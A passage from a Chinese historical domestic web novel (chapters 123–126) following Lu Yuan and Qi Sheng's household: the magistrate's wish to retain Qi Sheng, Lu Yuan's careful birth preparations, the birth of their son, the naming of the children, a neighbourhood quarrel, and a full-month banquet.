这半个月,就靠着过年得这段时间,摊子和铺子共挣了七贯余钱。 这一年下来,除了过年,深秋至春季没什么客人,但摊子和铺子,也是能整个五六十贯钱的。 加上祁晟的月俸,除去了其他的花销,今年也是存下六十来贯钱。 加上去年所剩,整一百贯钱。 这离买宅子越来越近了。 出了正月,朝中有旨意下来,代知县缴匪有功,特任命为广康知县。 意思是,还要继任两年。 旨意一下,大家伙虽开心杨大人还在广康,但也为杨大人感到不值。 一行人在班房歇息,有捕快不忿道:“咱们大人剿了那么多的贼匪,怎的就仅仅是升为知县?” 一旁的嵇捕头道:“据我所知,大人是自愿留在广康的。” 众人都看向了他。 嵇捕头解释道:“大人说广康尚未稳定,所以还要待两年,待广康安定,百姓安居乐业后才会离开。” 众人闻言,都由内而外的敬佩他们的这位大人。 众人散了,嵇捕头问祁晟:“你先前不是和大人签了一份两年任职的契书么,大人不走,你是不是还会留任?” 祁晟如实道:“如大人还需我效命,我便继续留在公署,这离契书到期,还有七个月,不急。” 他所签的契书,也是杨大人任职期满的时间。 一晃而过,他也在公署待了一年多了。 由最开始的不情愿,到现在见识过杨大人魄力后的心甘情愿。 嵇捕头把从他这听到的话告诉了周副将,周副将又把这话告诉了杨大人。 “大人为何不直接问?”周副将问。 杨致远写着烦人的折子,说:“这先前就说好了,我身居这个位置,怎好爽约?再说了,若是他不愿,因着我询问,迫于压力继续留下,那我岂不成了没信用的上峰?” 周副将道:“大人先前不就是用了些手段,才迫祁砦官入公署为职么。” 杨致远睨了眼他:“不让他入公署,你带队入山剿匪?” 周副将耸了耸肩,他们打仗都是在平原打,哪里在山里打过仗了,让他带队入山打仗,没准会损伤严重。 杨致远道:“不过说到底,还是卑鄙了一些。”想了想,他道:“你去市场上卖两只鹅,帮我送去他家,顺道透露我想继续留他的意思。” 周副将闻言,喃喃自语道:“这直接一句话的事,怎就绕来绕去?” 杨致远:“让你去就去,这么多废话作甚。” 周副将应:“成成成,我这就去给大人打听消息去。” 杨致远看了眼桌面的折子,烦得揉成团扔到了地上。 最烦的就是写折子。 祁晟前脚才下值归家,后脚周副将便拎着两只大鹅到了家门口。 还道是知县大人体恤他辛苦,特意让他送了两只鹅来。 祁晟把两只鹅拴起来后,才领着周副将进堂屋。 陆鸢瞧了眼鹅,这鹅肉可不便宜。一只鹅都得好几百文钱了,更别说两只了,这都得一贯钱了吧? 这知县怎忽然给祁晟送两只鹅过来了? 仔细想了想,知县留任,但祁晟的任期就快满了,估摸着就是为了这事来的。 陆鸢琢磨了一下,嘱咐孩子:“别走太近,这鹅会啄人,” 然后就到厨房沏茶了。 茶沏好,送进了堂屋,这放下托盘,就听到院子里传来孩子的哭声。 陆鸢还没反应过来,祁晟就已经如一阵风一样出了屋子。 陆鸢也紧跟在身后出了院子,便是周副将也跟在了后头。 出了院子,才看到被抱在怀里的秋花,抽抽搭搭地指着大鹅告状:“它啄我屁股,大鹅坏。” 听到这话,院子里的人都没忍住笑了。 陆鸢憋着笑,道:“方才就叮嘱过你和姐姐了,说不要靠太近,大鹅会啄人的。” 祁晟指腹抹了抹她的眼尾的眼泪,低声哄道:“一会儿就把它宰杀了,给秋花吃,好不好?” 秋花重重点了点头:“嗯!” 祁晟留周副将吃饭,然后再细说。 祁晟去把鹅宰了,陆鸢自告奋勇地下厨做大鹅。 她都多久没吃过鹅肉了,有些馋。 铁锅炖大鹅,想想就觉得好吃。 家中有酒,也有香料。 陆鸢放佐料,祁晟翻炒。 毕竟一整只鹅有七八斤,炒起来也费劲。 陆鸢放了几两淡酒进去一块焖,然后让祁晟招待客人。 焖着鹅,陆鸢便让翠娘去东市卖些菜。卖一扇根排骨回来,然后与大鹅一块炖。 这加上几斤排骨,满满的一锅肉。 老太太问:“就这么些人,你做这么多,吃得完吗?” 陆鸢道:“我想让郎君也给知县大人送些过去,毕竟这两只大鹅也要不少银钱。” 做好之后,陆鸢装了一坛子,与祁晟说:“一会吃完后,你把这些送去公署,给知县大人送去。” 祁晟想了想,道:“一会周副将还得回公署,让他帮忙送去,省得旁人说闲话。” 陆鸢点了头,应了声,也行。 周副将听到祁晟让他把菜送去给知县,便道:“那我去和知县吃,省得菜凉了。” “知县大人没人陪,我便去陪陪大人。” 祁晟便没有强留,就让陆鸢装了别的菜,还有一盆饭,放在背篓里让周副将带回去。 用着暮食,老太太问:“这知县怎忽的送两只鹅过来,还让周副将亲自送来。” 老太太带出了一个聪明的孙子,她自然也是个聪慧人,肯定也猜到是什么事了。 祁晟也不瞒她,如实道:“来问我是否愿意和大人续签契约,继续留在公署。” 祁晟看着自己的祖母,想知道祖母的意思。 老太太因为猜到了,所以也没有太惊讶。 吃了一块单独又炖了小半个时辰,炖得特别软烂的肉后,才慢悠悠的道:“孩子大了,我总不能一直管着。你做什么决定,祖母不拦着,但只一点,护好你自个,别让自己受伤。” 她家的孙儿是珍宝,别人家的儿子,孙子也是珍宝,却也在为这广康太平而拼命,她们一家都受其庇护,又怎么能独善其身,置身其外呢? 祁晟轻轻颔首。 用了暮食,洗漱回屋后,祁晟给陆鸢松下发髻,梳头。 完后,瞧向陆鸢隆起的小腹,说:“你说咱们该给这孩子取个什么名字?” 陆鸢想了想,道:“这事我自己一个人能决定?” 祁晟笑道:“你是孩子的母亲,你还不能决定,还有谁能决定?” 陆鸢听到这话,是高兴的。 她眼睛里带着笑,转身抬头看向他:“我还真想了几个名字。” 祁晟道:“你说。” 陆鸢:“春花秋花的小名不仅有花,还有季节,我就想着,咱们孩子也得有。” 祁晟嘴角微微一抽,道:“万一是个男孩子,小名总不能也带一个花字吧。” 陆鸢连忙摇头道:“算了算,孩子会在夏季出生,要是女孩,小名就叫夏花,大名,祁夏盈,夏珠,夏灿。” “但若是男孩,就单取夏字。祁夏渊,夏焘,夏屹,如何?” 祁晟听了她所言的名字,每个名字都很是文雅,似是读书人起的。 他笑道:“我觉着夏灿好,不管是男孩女孩都可以用这个名字,夏日灿灿,生机盎然。” 陆鸢纠结了一下:“要不再问问老太太,看她比较喜欢哪个名字,多一个人,多一个意见。” 想了想,她又道:“咱们也该给春花秋花起大名了。” 当时他们想着,既然有了孩子,那到时候就一同改命入族谱。 祁晟道:“你想好了?” 这些时日,陆鸢闲着没事做,把三个孩子的名字都想了个变。 陆鸢道:“春花的,我想了好些,挑了两个春意,春笙。秋花呢,有秋妤,秋澜。” 祁晟道:“这些名字确实好听,不若让孩子们自己选。” 陆鸢道:“那你想过吗?” 祁晟点了头:“也想过,但我现在觉着,你起的名字,比我起的要好听,也更适合。” 陆鸢白了他一眼:“贫嘴。” 祁晟:“这是实话,你给他们取的名字,都有美好寓意,春意春笙皆为春日生机,妤为聪慧美丽,澜为广阔。” 陆鸢眼中的笑意更粲,笑盈盈道:“我就知道你懂我。” 祁晟也随着她一同笑,道:“等孩子出生确定了名字后,再让她们自己选名字,这样更为隆重。” 第124章 二月底, 知县派了祁晟和画师一同去勘察地形,绘制山行地图。 这么多个山头,也不知道什么时候能回来。 老太太也整天叹气:“你这都已经六个多月了,他还出去了, 也不知道你生孩子的时候, 能不能回来。” 陆鸢道:“郎君说了, 这绘制地形图也不是十万火急的活计,五月初就回来, 我这生产日子都在五月底,来得及。” 老太太又叹了一声:“可你这月份大了, 行动不便, 身边总要有个人照看才行。” “还有,这夜里要是腿脚抽筋了, 也没个人能帮你按一下。” 在院子里择菜的翠娘道:“不若我在娘子房里支一张小床, 要是娘子需要喝水或起夜, 我也能帮助斟茶倒水, 点灯。” 陆鸢道:“不用那么麻烦, 我能照顾好自己的。” 老太太道:“翠娘说得有理,你这月份大了些, 连穿鞋都不好穿了,是得有个人帮衬着。” “等下午, 搬两张长矮凳进屋, 再搬几张床板进屋,翠娘你就暂时在娘子的屋子歇着。” 话一落, 转而看向陆鸢:“这事就么定了,别犟。” 陆鸢:…… 这可不是犟不犟的问题,而是她也得有私人空间吧? 她道:“现在就住, 得住到什么时候去?再说了,我现在身子也还不算笨重,忽然有个人,我一时半会也习惯不了,夜里肯定会睡不好,不若等我八个月的时候再住进屋里。” 陆鸢的肚子有些大了,许是先前摆摊子,且身体调理得当了,她是真的一点也感觉不到吃力。 孕早期也是该吃吃该喝喝,一点不适的症状都没有。 便是现在,身体也还是很轻盈,她自己就是做护理出身的,自然知道自己现在的情况,比牛还壮实。 翠娘闻言,道:“现在天气暖和了,我也可以搬到堂屋睡,娘子一有事就可以喊我。” 年节时,主家告诉她,她并没有签卖身契,也没有从良籍变为贱籍,如今算是聘请她做活,每个月如常给工钱。 当知道自己还是良籍时候,翠娘哭得稀里哗啦,想跪下来给陆鸢磕头,被阻止了。 这般好的主家,她一定要尽心尽力地服侍。 陆鸢没好气道:“等到四月才说吧。” 两个人都没拗过陆鸢。 等陆鸢回屋后,翠娘与满脸愁容的老太太道:“这些天,我夜里多留心娘子的屋子,老太太你也不用这么担心。” 老太太点了点头,道:“那你仔细些。” 翠娘点了头。 四月初,翠娘就搬到了堂屋,也就是陆鸢房门外睡。 屋子里头有点风吹草动都会醒,比当娘的还要上心。 瞧着翠娘这么上心,老太太也心宽了许多。 晌午用中食,老太太与孙媳道:“这稳婆我就找了三个,明日会过来。” 陆鸢早些时候,就让老太太帮忙在左邻右舍打听靠谱的稳婆。 最好找来三四个。 事关性命,多花使银钱也值当。 翠娘不解道:“这离生产还有两个多月,怎的这般早就让稳婆过来?” 陆鸢道:“这趁着时间还早,若是不合适,也好有时间找新的稳婆。” 就怕到时候忽然生产,找好的稳婆不在,这也好有备用的。 翌日,这些稳婆同时来到。 看到对方的时候,都愣了一下。 这富贵人家才会请几个稳婆,寻常人家只寻一个人。 翠娘招呼着几人坐下。 陆鸢也从屋子里边出来了。 几人都是经验老到的稳婆了一瞧陆鸢肚子,就大概能瞧出是男胎还是女胎。 其中一个稳婆道:“呀,娘子,这怀的十有八九是个男胎。” 陆鸢笑了笑,道:“我不着急知道是男孩还是女孩。” 坐下后,一个稳婆问:“娘子可是要我们几个一同 接生?” 陆鸢笑道:“都说生孩子凶险,我也是怕的,所以就想着在生产之前做好万全的准备。” 其中一个稳婆道:“不是我吹嘘,但凡经我手接生的,都是母子平安。” 另外两个稳婆闻言,也立马开始说自己的接生经验。 陆鸢道:“倒是我平平安安产子,我必然不会亏待几位,会按照几位接生费用,付双倍银钱。” 这几位都是经验丰富的接生稳婆,收费自是不便宜,去接生一回,便要收取两百文的接生费。 听到陆鸢说的话,几个稳婆的脸上都露出了喜色。 最后,陆鸢观察过了几个人后,就让翠娘把准备好的糕点给了几位,然后送走了。 翠娘把人送走后,问:“娘子,三个人都要留吗?” 陆鸢点了点头:“都留下来吧,多花些银钱,卖个心安。” 这便是翻倍,这银钱就一贯余钱。 “对了,一会咱们去一趟东市,买些白布和新剪子回来。” 这古代的卫生条件就那样了,没法子做到无菌,只能是尽可能的弄得干净。 陆鸢买了一匹白布,打算做两床床单被子。 东西买回来后,陆鸢让翠娘做好被子后,等五月初的时候,再拿出来煮一遍,再单独放进木匣子里头,等她生产的时候再拿出来使。 新剪子也放了起来,只用来准备生产的时候用。 陆鸢还去医馆备了各种药,有可能会浪费了,但总比到时候要什么都没有来得强。 单单做这些准备,陆鸢就花去了一贯钱。 陆鸢自己就把事情都给安排好了,不知别人靠不住,主要是自己安排的,心里有底,也会更加安心。 时间一晃而过,不知不觉就到了四月。 纷纷褪去厚衫,换上了轻薄的衣衫,清冷了数个月的铺子和摊子,也开始热闹了。 陆鸢身子也重了,夜市街是闹市,人来人往,她也没法去了。 关于一些做糖水的方子,她分别告诉了七娘和何柔。 怎么做凉粉,怎么做出香糯的芋头。 去年秋季,陆鸢就已经留足了今年用的木莲籽,也足够用来应付到秋季了。 仙草凉粉和木料籽做的凉粉,两样都会上市。 陆鸢把所有事情都交代好了,就安心地搁里养胎了。 五月份,白日已然炎热。 陆鸢不耐热,早早就给热醒了。 她热得睡不着,但还是门外有动静,过了一会之后,才起来。 她撑着床慢慢坐了起来,要穿鞋的时候,低头只看到自己隆起的肚子,鞋子在哪,一下子找不着。 天气又热,诸事不便,祁晟又不在,哪怕知道身不由己,可还是觉得生气,似憋着一股子火气。 她穿衣梳头后,才出屋子。 屋外,翠娘已经把床铺都已经收拾干净了。 翠娘见着她,问:“娘子今日朝食想吃些什么?” 陆鸢道:“想吃酸口带点辣的。” 翠娘笑道:“行,我一会做馎饦,给娘子添些花椒和酸豆角。” 陆鸢出了院子,翠娘便先给她打一盆洗漱的水。 陆鸢先前能自己做的活,都不会麻烦翠娘,但现在这会弯腰较为困难,诸多不便,有翠娘帮衬着,也轻松了许多。 陆鸢洗漱着,老太太也从屋中出来了,瞧见孙媳那肚子,念叨:“现在也已经五月了,怎的还不见晟哥儿回来?” 陆鸢洗了脸,应道:“别急,估计这几天就能回来了。” 老太太道:“瞧着你现在身子重,诸多不便,夜里身边也没个人,我能不急么?” “我这急得嘴都冒泡了。” 陆鸢打趣道:“这嘴巴冒泡不一定是急的,可能是天气热了,上火了,今日让翠娘给你熬些凉茶喝,下下火。” 老太太道:“晟哥儿一回来,我这火气准能下来。” 陆鸢调侃道:“郎君可不是什么神药。” 话音一落,耳尖的陆鸢似乎听见了什么声音,忽然眉眼一弯,露出了笑意:“神药回来了。” 老太太一听,也竖起了耳朵,但年纪大了,听觉也不大灵光了,听了好一会,才听到马蹄声,脸上顿时露出了笑意。 “还真是神药回来了。” 祁晟离开家中时,陆鸢也就六个月,小腹隆起的弧度还没有像现在这般。 所以回至家中,瞧着妻子那高高隆起的腹部,心下都跟着一紧,有些懊悔没早点回来。 祁晟洗漱后,一同吃朝时,一直把自己碗中的肉夹到妻子的碗了。 老太太看着孙子的举动,再和翠娘看了眼,两人眼里都是笑意。 陆鸢道:“行了行了,我吃不了那么多,你吃你的。” 在没有准确孕检和剖腹产的时代,她孕期都控制着饮食,控糖,就是确保孩子不会太大。 吃完了朝食,祁晟也立即放下了碗筷,扶着陆鸢起来。 “要回屋吗?” 陆鸢道:“屋里太热了,我想去河岸边走走。” 祁晟闻言,回屋拿了扇子,想了想,又往羊皮水袋里装了温水,挂在腰间出了院子。 瞧着他这般装备齐全,陆鸢郁闷的心情也好了许多。 祁晟边扶着陆鸢出门,边给她扇风取凉,与巷子的左邻右舍一路打着招呼出去。 新租的宅子离河岸远,但离街市近,他们也不去闹市,就在附近逛一圈。 陆鸢产前,所有事情都安排得有条不紊,连坐月子的菜单都已经安排好了,一点也不假手于人。 是以,哪怕知道自己要生的时候,也是不慌不忙的,感觉自己是真的要生了,才把身边的人给推醒。 因陆鸢快到预产期了,是以晚间祁晟睡眠都很浅,轻轻一推,他就立马醒了。 他蓦地坐起来,神色焦急地望向身边的人:“怎么了,可是要生了?!” 陆鸢深呼吸了一口气,抬起了手。 祁晟立马会意地把她扶起来。 陆鸢道:“稳住,别慌。” 说着,转头看向祁晟:“说的是你。” 她临近预产期后,每日给祁晟灌输着她要生的时候,一定要从容镇定,毕竟她能靠的主力军只有他。 祁晟暗暗呼了一口气,按下心下升起的焦急,把她扶了起来,道:“我去把翠娘喊起来,再去找稳婆。” 说着,他也立马穿上衣裳鞋子,急匆匆的出了屋子,没一会,翠娘便披着头发进了屋,紧接着是祁晟驾马车出院子的声音。 老太太也起了,两个孩子听见动静也起来了。 陆鸢早与邻居打好了招呼,等她要生产的时候,若是晚间的话,让老太太带着两个孩子过去。 这生产对于小朋友来说,还是太冲击了,陆鸢怕春花秋花会记一辈子,所以也早早安排好了。 陆鸢走动的间隙,翠娘便把先前准备好的床单铺到了床褥上,还铺上了两层。 热水也已经烧着了,一切都井井有条地进行着。 祁晟把最近的稳婆接来了,然后才去接另外两个。 稳婆带了一个帮手来,正准备吩咐做准备的时候,却发现什么都准备好了,床铺好了,两把烫好的剪子,还有三锅正在熬煮药。 问了一嘴,才知道是以防万一的助产药,止疼的汤药,还有加了人参的补精气的汤药。 稳婆:…… 这真的就只是让她们过来接生而已,且还找了三个人。 这到底是个什么样的人家,才会准备得这般齐全,还做得这般稳妥。 另外两个稳婆来到的时候,还以为是头个稳婆做好了准备,一问才知道是主人家给准备的,也是很惊讶。 且她们来时,也不需要等太久,就可以准备进产房接生了。 陆鸢正有节奏地调整呼吸,与几个稳婆道:“我这就交给你们了。” 几个稳婆连忙点头。 就没见过哪家要生产的孕妇能像她这般淡定的。 祁晟便是焦急,也没往屋子闯,而是不停地饮着水。 老太太把孩子安置在隔壁邻居家后,也回来了,忙问什么情况。 翠娘应:“好似要接生了,可屋子里头的动静却不是很大。” 话音刚落,就听见屋子里头传出叫喊声,听得祁晟蓦然捏紧了杯子。 陆鸢交代过了,不管屋子里头传出什么声,都不能乱了阵脚,影响接生。 在陆鸢生产的时候,第一次当爹的祁晟难免胡思乱想。特别是看到里边端出来的血水,脸色煞白,双臂止不住地颤抖。 不多时,有个帮手出来,才出声说:“请问……” “保大!”祁晟抢先道。 帮手:…… 默了一下,道:“娘子胎位正,且先前生产过,估摸很快就能生产下来,我是出来问壶茶水。” 翠娘闻言,忙去厨房把准备好的茶水端了出来。 帮手把茶水端进了屋中,屋外,老太太心有余悸地拍了一下孙子:“胡吣吣什么,你祖母我年纪大了,可不禁吓,别一惊一乍的,给我稳着!” 第125章 天边微微泛白时, 屋子里头传出孩子的啼哭声。 所有人的神色都微微一松。 片刻后,稳婆出来报喜:“恭喜郎君,老太太, 母子平安。” 老太太双手合十 祁晟视线却直往屋里瞧, 问:“我娘子呢?!” 稳婆笑道:“在屋子里头。” 祁晟径自掠过稳婆, 推门入了屋。 剩下的几个人正在收拾, 见他进来,都让开了道。 祁晟看见面色苍白的陆鸢, 心里酸涩,手轻抚在被汗湿的头发, 声音跟着发紧:“丽娘, 辛苦了。” 陆鸢原本生孩子的时候没哭,不知怎么地, 顿时就哗啦地哭了。 祁晟躺在床外侧, 抱住她抚慰。 几人收拾后, 就放轻动作地出了屋子, 只留一个年纪最大的稳婆照料孩子。 老太太入了屋子, 翠娘则在外头招呼几人。 老太太看了眼孙子孙媳二人,也没打扰, 她笑吟吟地看向稳婆怀里的曾孙。 稳婆说:“小郎君长得粉嫩,以后肯定是白白净净的。” 老太太听这话, 脸上的笑意更灿。 床那头, 祁晟安抚了好一会,才转头去倒了杯温水, 用勺子仔细地喂她,喂了三勺,陆鸢微微摇了摇头。 刚生完, 还是少喝些水。 祁晟照料了一会儿,老太太才道:“我来照看,你去瞧瞧你儿子,顺道去把后边的事忙完。” 祁晟点了点头,从床边站起。 稳婆把孩子抱了过来,祁晟低头瞧去。 这是祁晟第一次见到这么小的孩子。 粉粉嫩嫩的,眼睛并未睁开,看着陌生,但心里头却有丝丝软乎。 稳婆问:“郎君可要抱抱小郎君。” 祁晟手指在儿子的脸上轻轻触碰了一下,那么小,那么脆弱,他连碰都碰得小心翼翼,想到要把这小家伙抱到怀中,摇了摇头:“一会再抱吧。” 祁晟呼了一口气,从妻子妆奁的抽屉里,把准备好的荷包拿了出来。 一个给了正在抱孩子的稳婆。 这最省事的接生,还能拿这么多的赏钱,稳婆双眼都笑成了缝,连连说了几句吉祥话。 祁晟把余下的赏钱拿出了屋外,让翠娘帮忙分了。 屋外都是连连恭喜的吉祥话。 稳婆把孩子放到了陆鸢的旁边。 陆鸢看着面前的孩子,只觉得好陌生,心想,这小玩意,真是她生出来的? 一点儿的实感都没有,唯一的实感,只有身体上的不适感。 陆鸢看了一会儿小家伙后,问老太太:“是不是该把春花秋花给接回来了?” 老太太道:“我现在就去接。” 老太太才开了门要出去,另外两个小家伙也窜了进来,异口同声地喊:“娘!” 两姊妹很快就跑到了床边,看到那小小的孩子时,两双眼睛都瞪得圆不溜秋的,眼中充满惊奇。 老太太走到了身旁,与她们说:“这是你们阿娘生的弟弟,给弟弟打个招呼吧,打了招呼后,我们就要回屋,让你们娘休息。” 春花小心翼翼地抬起手,朝弟弟招了招手:“弟弟,我们是姐姐。” 陆鸢温笑地伸手摸了摸她们的发顶。 秋花伸出手,掠过了弟弟的头顶,也落在了她娘的头上,轻轻地抚摸。 春花也看向了娘,道:“娘累不累?” 陆鸢点了点头:“有点。” 老太太瞧出了孙媳的疲态,拉上了两个孙女的手,说:“让你们娘先休息,你们也累了,回去再睡一会儿,醒了再过来。” 春花和秋花和老太太出了屋子,稳婆也离开了,祁晟便回了屋子陪着妻儿。 小祁夏灿出生的第三日,正式确定了名字,还有春花秋花的大名。 分别是春意,秋澜。 两个小姑娘知道自己和弟弟一样有了新名字,第一时间就是出去告诉自己的小伙伴们。 翠娘买菜回来,进屋给小郎君换尿布时,与陆鸢道:“方才我回来的时候,听见那些嘴碎的妇人和大姑娘和二姑娘说,说她们的爹娘有了弟弟后,就不会再疼爱她们了,等她们长大之后,就会用她们换彩礼给弟弟娶媳妇。” 陆鸢闻言,脸色顿时一沉,问:“哪一家说的?” 翠娘:“就巷口那个肥胖妇人。” “原本我想骂回去的,但不过大姑娘和小姑娘也不是任由人欺负的,她们直接回怼了回去。” 陆鸢好奇的问:“春花秋花说了什么?” 翠娘笑道:“两个小姑娘手牵着手,抬头挺胸地与那个妇人说娘子给她们取名字的含义,说春意盎然万物生,是希望她一生都生机勃勃,幸福,而秋澜的澜字为广阔天空,是希望她不会被困于一方天地,希望她的人生见识更广。” 翠娘继而笑道:“春花与那妇人说,说她不知道春意和秋澜怎么写,但她们知道该怎么写。” “原本那妇人想要打大姑娘二姑娘,瞧见了我,才没敢说话。” 这话才落,老太太推开了门,脸黑沉沉地道:“是哪个长舌妇说的?” 翠娘正想说话,老太太又道:“算了,我让春花秋花指认。” 说罢,蓦地关上门,气势汹汹地出了门。 陆鸢忙与翠娘道:“你快去看着老太太。” 翠娘忙把小郎君的尿布换好,端着水出了屋子。 陆鸢轻拜了几下孩子,然后走到门口,贴着门扉听着外边动静。 没一会就听到了老太太叫骂声,但具体骂的是什么,却听不清楚,却也能让人浑身舒畅。 小半个时辰后,陆鸢才听到老太太洪亮至整个巷子的骂声:“满嘴腌臜喷粪的玩意,别怪我没提前说,我要是哪天再听到有人说咱们家俩姑娘的闲话,我就直接往他家院子泼粪!” 陆鸢不由得鼓了掌。 老太太年岁已高,但宝刀未老,一张嘴还是能让人退避三舍的。 陆鸢这堵了好一会的心口,现在通畅得不能再通畅。 暮色时分,祁晟端着饭菜回屋和陆鸢一同吃的时候,给她盛饭的时候,她就和他说了今日的事。 祁晟听到那妇人当面对着孩子们说那些话,眉头紧蹙。 陆鸢继而道:“我听翠娘说,老太太去给孩子出气的时候,那妇人还回道我们家是让姑娘读书认字,是为了卖得更好的彩礼,老太太拿起扫帚就打了去,翠娘帮着老太太,还与那人家说你在公署当职,要是老太太有个三长两短,必然不会放过他们,那家子人不敢帮忙,便是那妇人也不敢还手,后来更是躲在屋子里头不敢出来了。” “老太太年岁大了,你与她仔细说说,下次骂骂就得了,别真动手,别说是我让你说的,不然老太太以为我不知好赖。” 祁晟对祖母这般做派,也不吃惊,道:“祖母以前也是跟贤良的,后来为了孤孙寡祖不被欺负,便成了十里八乡人人不敢惹的悍妇。” “在旁人看来,祖母是悍妇,在我瞧来,她依旧是慈祥的祖母。” 陆鸢笑道:“不凶悍些,旁人怎会怕。” 说罢,又忧思了起来,道:“旁人说这些话,说多了,我也怕春花秋花在意,” 祁晟安抚道:“这事我会解决。” 陆鸢好奇地看向他:“怎么解决。” 祁晟给她夹了菜:“明日你就知道了。” 陆鸢没好气道:“你真真学坏了,还卖起了关子。” 祁晟笑笑不语。 陆鸢看着小桌上的吃食,道:“你不用日日陪我吃这些没什么滋味的月子餐,你可以出去吃的。” 祁晟笑了笑,道:“我中食不在家吃,就在家吃一顿,自是要陪你的,再说这也不难吃。” 陆鸢皱了皱脸:“这还不难吃呀,我觉得可难吃了。” 吃了一会,祁晟往窗外头加的小床望去,问她:“小家伙闹人吗?” 陆鸢道:“这小家伙在肚子里就没让我操心,这出生后也没怎么让我操心,除了饿了,或是拉了,就哭嚎几声,平时都很乖,睡觉那会你不也知道,拍两下他就能睡着了。” 祁晟道:“我与家里有孩子的同僚这么说的时候,他们都还不信。” 陆鸢:“自然是不信的,这一千个小孩里边,估摸着也就一两个灿哥儿这样的乖巧的好宝宝,所以叫他们怎么相信。” 祁晟起身,走到小床边,低头看向酣睡的小家伙。 刚出生几日,小家伙脸上有些脱皮,起初祁晟很担心,陆鸢便再三与他说是正常的,他才松了一口气。 陆鸢也走到了他身边,说:“老太太这每天都等着灿哥儿醒,来抱一抱,当了曾祖母后,我瞧着老太太都年轻了好几岁。” 祁晟笑了笑,道:“祁家能延续香火,不被遗忘,是祖母一直以来的心愿,也是重担,如今重担已释,她肯定是松快了。” 陆鸢道:“怎的,女孩也能延续香火。” 祁晟道:“自是能,所以我们这不是打算以后给春花秋花招婿?” 陆鸢:“也不一定是招婿,谁知道那些肯入赘的都是什么人,这不管招婿也好,还是嫁人也好,只能确保对方人好,家庭好,孩子们过得好,那就成了。” 祁晟闻言,仔细想了想,小声道:“若不然咱们从小就把人物色好,从小看到大,自然知道人品如何,对方家里人如何。” 陆鸢不可置信地看向他:“这得物色多少个人才能物色出合适的?” “再说了,小时候长得好的,长大了可不一定长得好,还是先顺其自然吧。” 祁晟心里却想着,他觉得可以先从身边的人先物色起。 妻子不认同,他也就没把心里话说出来。 他还是自己先仔细物色,若是以后真没有好的人选,也可以用来备选。 第126章 陆鸢坐月子的时候, 正好是五月份,不至于太热。 虽不至于太热,但一个月就只洗了一次头,澡都是擦着洗的, 是以出了月子后, 痛痛快快地泡了一个澡。 祁晟越发地了解她了, 她出月子时,就往家里扛了个大浴桶。 一整个月都没好好洗澡的陆鸢, 看到浴桶的时候,别提有多高兴了。 孩子好带, 家里也没有人给气受, 她也早早安排好了每日的菜单,虽然没什么滋味, 但不至于乏味。 不仅是菜单, 就是话本都找了好几十本, 以确保待在家中不会太无聊。 祁晟每隔几日就会给她带些小玩意回来讨她欢心, 所以这月子, 陆鸢坐得很顺心,几乎没怎么委屈过。 灿哥儿的满月宴, 晌午请的是左邻右舍,还有围山村的人。 祁晟特意差了两辆马车回去, 自己也顺道回去了一趟, 把陈家和刘家两家人接到了城中。 早间,祁晟就提前去与小栈掌柜说好了, 等到日子就把小栈包下一日,好让围山村来的亲友住一宿,也好好地逛逛这广康县。 恰好满月宴还是双日。 大家伙来了家里, 仔细打量了一眼这宅子后,就去瞧孩子了。 等大家伙都走了,黄兰才给陆鸢一个小锦袋,说:“这是我给灿哥儿的礼,虽然只是银包铜的脚镯子,也是我的心意。” 陆鸢拉着灿哥儿的小手,温温柔柔的道:“快说谢谢婶子送的小镯子。” 黄兰笑道:“等你家灿哥儿能说话,还得等一年呢。” 她低头瞧向小床里的小家伙,说:“不过话说灿哥儿可真白净,看着就可爱,而且瞧着灿哥儿这模样,想来是他娘奶水足,把他喂得饱饱的。” 说着,黄兰抬起打量的视线,往陆鸢的胸口瞧去。 陆鸢适时捂住胸口:“嫂子!” 黄兰打趣道:“都是三个孩子的娘了,怎的还这般怕臊?” 陆鸢道:“这可与多少个孩子的娘没关系。” 可能是这时代保守,连着她都保守了很多。 黄兰问她:“喂奶水的时候,可有胀痛的感觉?” 陆鸢笑着摇了摇头。 她可没大胆到和旁人说,她是学护理,也会一些简单的知识,胀痛这些事,都是祁晟帮忙解决的。 黄兰上下瞧了眼她,问:“别人坐了月子,面色都很差,而且也会臃肿一圈,你这脸色红润了许多,仔细瞧也只是丰腴了一些,看来你这月子坐得是极好。” 陆鸢道:“灿哥儿省心,晚间固定起夜一回,吃了就睡。” 黄兰:“我倒是听老太太提起过你家男人小的时候也乖巧,从不让人操心,看来灿哥儿像他爹。” 陆鸢也趴在床边凭栏边瞧着:“性子像他爹,模样也随他爹就更好了。” 黄兰:“这暂时也瞧不出来像谁,不过像爹也好,还是像他娘也好,反正就你们夫妻是男俊女俏,像谁都不会差。” 不一会,老太太来喊:“可以开席了,还不出来,在屋子里待着做什么?” 陆鸢把灿哥儿从小床里抱起,打算带出屋子去。 现在满月了,而且天气又好,得带出去透透气,多晒晒太阳去去黄疸。 满月宴后,晚上由老太太和翠娘在家里看着孩子,陆鸢和祁晟带着两个孩子去夜市,招待围山村的亲友。 许久未出过门的陆鸢,终于可以踏出大门了,心情兴奋激动,但因要喂养孩子,对夜市上的美食只能看不能吃,心情顿时就郁闷了。 但一瞧到自家摊子和铺子满满当当地客人,她郁闷的心情顿时又开朗了起来。 这不能吃只是一时的,还是挣钱比较重要。 胡七娘和何柔她们看见陆鸢,都高兴得不得了。 陆鸢和她们说:“今日孩子满月宴,因着双日,没能请你们过去,等明日大家伙再一块吃一顿饭。” 胡七娘道:“这不是都送了菜过来,大家也算是凑了热闹。” 上回双日,陆鸢就让翠娘过来说了,让她们下回双日提前过来,她会让人送一桌子菜过来。 陆鸢笑道:“我都不在,算凑什么热闹,明日呀,大家伙带上家眷,再来家里吃上一顿。” “可先说好了,只是去吃一顿饭,大家伙聚聚,可不兴送红包送礼的,便是送了,我也是不收的。” “若是谁送了礼,那就是见外了,不过家里种了菜的,倒是可以捎一些过来。” 陆鸢与他们说定时间后,就招呼着围山村大家伙到后院,支两张简单的桌子,让人把吃食送到后院来。 祁晟端了一份糖水到里正的面前,道:“叔,快尝尝,这是我媳妇琢磨出来的凉粉。” 里正笑着点了点头。 看到自己以前最看好的年轻人,妻儿美满,日子也越过越红火,心头非常欣慰。 刘家三郎瞧着父亲那欣慰的神色,调侃道:“爹,你是不是可惜阿晟为什么不是我们家的孩子?” 里正暼了他一眼:“晓得就好。” 刘家三郎笑道:“再可惜,也不是咱们家的儿郎,父亲你还是认命吧。” 里正:“去去去,没个正形。” 院子里热热闹闹的,第二日后,又归于平静。 吃了朝食后,陆鸢和老太太送走了围山村的两户人家,老太太叹了一口气:“也不知下次再见又是什么时候了。” 陆鸢笑道:“中秋的时候,咱们回去住几日吧。” 